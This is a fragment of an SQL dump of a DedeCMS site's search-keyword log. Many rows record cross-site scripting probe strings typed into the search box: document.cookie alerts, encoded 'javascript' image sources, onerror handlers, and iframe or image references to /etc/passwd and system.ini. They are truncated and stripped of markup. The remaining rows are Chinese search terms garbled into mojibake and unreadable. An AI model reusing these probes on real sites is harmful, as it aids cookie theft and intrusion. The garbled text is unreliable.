alertAn','2','0','1263131434','0','0');INSERT INTO `dede_search_keywords` VALUES('55',' img src \\\\','imgsrc \\ \\','1','0','1263131428','0','0');INSERT INTO `dede_search_keywords` VALUES('56',' script alert document.cooki','script alert document.cooki','2','0','1263187088','0','0');INSERT INTO `dede_search_keywords` VALUES('57',' script alert document.cook','script alert document.cook','1','0','1263131500','0','0');INSERT INTO `dede_search_keywords` VALUES('58',' 3Cscript 3Ealert Anysize 3','3Cscript 3Ealert Anysize3','1','0','1263131526','0','0');INSERT INTO `dede_search_keywords` VALUES('59',' s #99 ript alert Anysize','s #99 ript alert Anysize','1','0','1263131534','0','0'); INSERT INTO `dede_search_keywords` VALUES('60',' img src java s #99 ript alert','img src javas #99 ript alert','3','0','1263141400','0','0');INSERT INTO `dede_search_keywords` VALUES('61',' IMG SRC javascript alert An','IMG SRC javascript alert An','7','0','1264192429','0','0');INSERT INTO `dede_search_keywords` VALUES('62',' IMG SRC JaVaScRiPt alert quo','IMG SRC JaVaScRiPt alert quo','1','0','1263131619','0','0');INSERT INTO `dede_search_keywords` VALUES('63',' IMG SRC jav #x09 ascript ale','IMG SRC jav #x09 ascript ale','5','0','1263187133','0','0');INSERT INTO `dede_search_keywords` VALUES('64',' IMG SRC jav #x0A ascript ale','IMG SRC jav #x0A ascript ale','3','0','1263187140','0','0');INSERT INTO `dede_search_keywords` VALUES('65',' IMG SRC jav #x0D ascript ale','IMG SRC jav #x0D ascript ale','3','0','1263187146','0','0');INSERT INTO `dede_search_keywords` VALUES('66',' IMG SRC java\\\\0script alert','IMG SRC java \\ \\ 0script alert \\ \\','1','0','1263131687','0','0');INSERT INTO `dede_search_keywords` VALUES('67',' IMG SRC javascript alert A','IMG SRC javascript alert A','4','0','1263187797','0','0'); INSERT INTO `dede_search_keywords` VALUES('68',' SCRIPT a Anysize alert a.sou','SCRIPT a Anysize alert a.sou','2','0','1263141365','0','0');INSERT INTO `dede_search_keywords` VALUES('69',' IMG DYNSRC javascript alert','IMG DYNSRC javascript alert','3','0','1263187199','0','0');INSERT INTO `dede_search_keywords` VALUES('70',' IMG LOWSRC javascript alert','IMG LOWSRC javascript alert','2','0','1263141213','0','0');INSERT INTO `dede_search_keywords` VALUES('71',' BGSOUND SRC javascript alert','BGSOUND SRC javascript alert','2','0','1263187209','0','0');INSERT INTO `dede_search_keywords` VALUES('72',' IMG SRC vbscript msgbox Any','IMG SRC vbscript msgbox Any','1','0','1263131744','0','0');INSERT INTO `dede_search_keywords` VALUES('73',' BODY BACKGROUND javascript a','BODY BACKGROUND javascript a','3','0','1263187179','0','0');INSERT INTO `dede_search_keywords` VALUES('74',' IMG SRC javascriptalert Stri','IMG SRC javascript alert Stri','1','0','1263141321','0','0');INSERT INTO `dede_search_keywords` VALUES('75',' IMG SRC jav ascript alert A','IMG SRC jav ascript alert A','1','0','1263141339','0','0');INSERT INTO `dede_search_keywords` VALUES('76',' IMG SRC java\\\\0script alert','IMG SRC java \\ \\ 0script alert \\ \\','1','0','1263141436','0','0');INSERT INTO `dede_search_keywords` VALUES('77',' IMG SRC java\\\\0script alert','IMG SRC java \\ \\ 0script alert \\ \\','1','0','1263141442','0','0');INSERT INTO `dede_search_keywords` VALUES('78',' IMG SRC #x6A #x61 #x76 #x61','IMG SRC #x6A #x61 #x76 #x61','1','0','1263141485','0','0');INSERT INTO `dede_search_keywords` VALUES('79',' IMG SRC java\\\\0script alert','IMG SRC java \\ \\ 0script alert \\ \\','1','0','1263187152','0','0');INSERT INTO `dede_search_keywords` VALUES('80',' BODY ONLOAD alert Anysize','BODY ONLOAD alert Anysize','1','0','1263187190','0','0'); INSERT INTO `dede_search_keywords` VALUES('81',' br size alert Anysize','br size alert Anysize','2','0','1263187221','0','0'); INSERT INTO `dede_search_keywords` VALUES('82',' LINK REL stylesheet HREF j','LINK REL stylesheet HREF j','1','0','1263187229','0','0'); INSERT INTO `dede_search_keywords` VALUES('83',' IFRAME SRC javascript alert','IFRAME SRC javascript alert','1','0','1263187239','0','0'); INSERT INTO `dede_search_keywords` VALUES('84',' FRAMESET FRAME SRC javascrip','FRAMESET FRAME SRC javascrip','1','0','1263187257','0','0');INSERT INTO `dede_search_keywords` VALUES('85','Ì«Ñô¾®µÄ´«Ëµ¹ÊÊÂ','Ì«Ñô ¾® µÄ ´«Ëµ ¹ÊÊÂ','2','113','1263250043','0','0');INSERT INTO `dede_search_keywords` VALUES('86','»ù¶û¼Óµ¤µÄ¹ÊÊÂ','»ù ¶û ¼Óµ¤ µÄ ¹ÊÊÂ','2','112','1263250117','0','0');INSERT INTO `dede_search_keywords` VALUES('87','ÈçºÎÈõ°»¨³öЧ¹û','ÈçºÎ Èà µ° »¨³ö Ч¹û','1','0','1263259214','0','0');INSERT INTO `dede_search_keywords` VALUES('88','½±Õ÷ÎĻ','½± Õ÷ÎÄ »î¶¯','1','0','1263271008','0','0');INSERT INTO `dede_search_keywords` VALUES('89','°Ù¶ÈKÕ¾','°Ù¶ÈKÕ¾','1','0','1263552972','0','0'); INSERT INTO `dede_search_keywords` VALUES('90','Ô½ÄÏÃÃElly','Ô½ÄÏÃà Elly','3','2','1269834804','0','0');INSERT INTO `dede_search_keywords` VALUES('91','ÃÀÅ®','ÃÀÅ®','1','3','1264070401','0','0');INSERT INTO `dede_search_keywords` VALUES('92','ÖйúÃÀÅ®','ÖÐ ¹úÃÀÅ®','1','0','1264070537','0','0');INSERT INTO `dede_search_keywords` VALUES('93','ºìÌÒħÊÞ','ºì ÌÒħÊÞ','1','0','1264177400','0','0');INSERT INTO `dede_search_keywords` VALUES('94',' IMG src javascript window.na','IMG src javascript window.na','1','0','1264192326','0','0');INSERT INTO `dede_search_keywords` VALUES('95',' iframe src file etc passwd','iframe src file etc passwd','1','0','1264192342','0','0');INSERT INTO `dede_search_keywords` VALUES('96',' iframe src file file c','iframe src file file c','1','0','1264192361','0','0'); INSERT INTO `dede_search_keywords` VALUES('97',' iframe src file c windows','iframe src file c windows','4','0','1264192409','0','0'); INSERT INTO `dede_search_keywords` VALUES('98',' script alert document.cookie','script alert document.cookie','1','0','1264192469','0','0');INSERT INTO `dede_search_keywords` VALUES('99',' img src c\\\\windows\\\\system.i','img src c \\ \\ windows \\ \\ system.ini','1','0','1264192501','0','0');INSERT INTO `dede_search_keywords` VALUES('100',' img src c\\\\windows\\\\system.i','img src c \\ \\ windows \\ \\ system.ini','1','0','1264192509','0','0');INSERT INTO `dede_search_keywords` VALUES('101',' img src c\\\\windows\\\\system.i','img src c \\ \\ windows \\ \\ system.ini','1','0','1264192514','0','0');INSERT INTO `dede_search_keywords` VALUES('102',' img src c windows system.ini','img src c windows system.ini','1','0','1264192522','0','0');INSERT INTO `dede_search_keywords` VALUES('103',' img url c windows system.ini','img url c windows system.ini','1','0','1264192620','0','0');INSERT INTO `dede_search_keywords` VALUES('104',' img url file c windows sy','img url file c windows sy','1','0','1264192632','0','0'); INSERT INTO `dede_search_keywords` VALUES('105',' img url file c windows s','img url file c windows s','1','0','1264192638','0','0'); INSERT INTO `dede_search_keywords` VALUES('106',' a href javascript','a href javascript','1','0','1264193397','0','0');INSERT INTO `dede_search_keywords` VALUES('107',' a href javascript','a href javascript','1','0','1264193404','0','0');INSERT INTO `dede_search_keywords` VALUES('108',' a href javascript code','a href javascript code','1','0','1264193410','0','0');INSERT INTO `dede_search_keywords` VALUES('109',' ahref javascript code','ahref javascript code','1','0','1264193415','0','0');INSERT INTO `dede_search_keywords` VALUES('110',' div onmouseover code','div onmouseover code','1','0','1264193426','0','0');INSERT INTO `dede_search_keywords` VALUES('111',' div onmouseover code','div onmouseover code','1','0','1264193431','0','0');INSERT INTO `dede_search_keywords` VALUES('112',' script javascript alert code','script javascript alert code','1','0','1264193517','0','0');INSERT INTO `dede_search_keywords` VALUES('113',' script alert code script','script alert code script','1','0','1264193522','0','0'); INSERT INTO `dede_search_keywords` VALUES('114','aaaaaaaaaaaaaaa script alert c','aaaaaaaaaaaaaaa script alertc','1','0','1264193529','0','0');INSERT INTO `dede_search_keywords` VALUES('115',' \\\\xC0 \\\\xBC script code \\\\','\\ \\ xC0 \\ \\ xBC script code \\ \\ xC0','1','0','1264193558','0','0');INSERT INTO `dede_search_keywords` VALUES('116','The src parameterin the IM','The src parameter in the IM','2','0','1264195632','0','0');INSERT INTO `dede_search_keywords` VALUES('117',' isindex type image src 1 oner','isindex type image src 1 oner','1','0','1264195634','0','0');INSERT INTO `dede_search_keywords` VALUES('118',' input type image src1 onerro','input type image src 1 onerro','1','0','1264195787','0','0');INSERT INTO `dede_search_keywords` VALUES('119',' textarea type image src 1 one','textarea type image src 1 one','1','0','1264195805','0','0');INSERT INTO `dede_search_keywords` VALUES('120',' select type image src 1 onerr','select type image src 1 onerr','1','0','1264195848','0','0');INSERT INTO `dede_search_keywords` VALUES('121',' img type image src1 onerror','img type image src 1 onerror','1','0','1264195891','0','0');INSERT INTO `dede_search_keywords` VALUES('122','ħÊÞµçÓ°','ħÊÞ µçÓ°','1','1','1264478342','0','0');INSERT INTO `dede_search_keywords` VALUES('123','ħÊÞÊÀ½çÊÎÆ·´óPK£º´¥·¢ÐÔVSÊÖ¶¯','ħÊÞÊÀ½ç ÊÎÆ· ´ó PK £º ´¥·¢ ÐÔ VS ÊÖ¶¯','1','1','1264597378','0','0');INSERT INTO `dede_search_keywords` VALUES('124','ħÊÞÊÀ½çÊÎÆ·´óPK','ħÊÞÊÀ½ç ÊÎÆ· ´ó PK','1','2','1264597393','0','0');INSERT INTO `dede_search_keywords` VALUES('125','','','4','0','1264653996','0','0');INSERT INTO `dede_search_keywords` VALUES('126','luoti zhao','luoti zhao','3','0','1264825761','0','0');INSERT INTO `dede_search_keywords` VALUES('127','','','1','0','1264825816','0','0');INSERT INTO `dede_search_keywords` VALUES('128','×ÔÎÀ','×ÔÎÀ','1','0','1265262965','0','0');INSERT INTO `dede_search_keywords` VALUES('129','Elly','Elly','7','2','1274554178','0','0');INSERT INTO `dede_search_keywords` VALUES('130','Ò»¿éÓÐÎå°ÙÍòÕÅ×ìµÈ´ý×ŵľ޴óµ°','Ò»¿é ÓÐ Îå°ÙÍò ÕÅ×ì µÈ´ý ×Å µÄ ¾Þ´ó µ°','1','1','1265696679','0','0');INSERT INTO `dede_search_keywords` VALUES('131','eiiytranhaµÄĸÇ×ÕÕƬ','eiiytranha µÄ ĸÇ× ÕÕƬ','2','0','1265926932','0','0');INSERT INTO `dede_search_keywords` VALUES('132','ÌìÍø','ÌìÍø','1','221','1266847920','0','0');INSERT INTO `dede_search_keywords` VALUES('133','','','2','0','1266936304','0','0 ');INSERT INTO `dede_search_keywords` VALUES('134','³µÄ£','³µÄ£','1','2','1266936327','0','0');INSERT INTO `dede_search_keywords` VALUES('135','ÊÞÊÞ×ÔÅÄ','ÊÞÊÞ ×ÔÅÄ','1','0','1266939457','0','0');INSERT INTO `dede_search_keywords` VALUES('136','3.132','3.132','2','0','1267588171','0','0');INSERT INTO `dede_search_keywords` VALUES('137','pui23888','pui23888','3','0','1267896557','0','0'); INSERT INTO `dede_search_keywords` VALUES('138','ÎÒ½ÐMT˽·þ','ÎÒ ½Ð MT ˽·þ','2','96','1268037136','0','0');INSERT INTO `dede_search_keywords` VALUES('139','ÎÒ½ÐMTħÊÞÊÀ½ç˽·þ˽·þ','ÎÒ ½Ð MT ħÊÞÊÀ½ç ˽·þ˽·þ','1','0','1268037133','0','0');INSERT INTO `dede_search_keywords` VALUES('140','ÎÒ½ÐMTħÊÞÊÀ½ç˽·þ','ÎÒ ½Ð MT ħÊÞÊÀ½ç ˽·þ','2','150','1268456181','0','0');INSERT INTO `dede_search_keywords` VALUES('141','ħÊÞSF','ħÊÞSF','1','0','1268389416','0','0'); INSERT INTO `dede_search_keywords` VALUES('142','˽·þµÇ¼Æ÷','˽·þ µÇ¼ Æ÷','2','95','1270270781','0','0');INSERT INTO `dede_search_keywords` VALUES('143','ÒÁÀûµ¤¡¤Å-·çÓëÌ©À¼µÂ¡¤Óï·çµÄ¹Ê','ÒÁÀû µ¤ ¡¤ Å- ·ç Óë Ì© À¼µÂ ¡¤ Óï ·ç µÄ ¹Ê','2','3','1275943660','0','0');INSERT INTO `dede_search_keywords` VALUES('144','ÊÞÊÞÃÅħàÕ','ÊÞÊÞ ÃŠħ àÕ','1','0','1268789059','0','0');。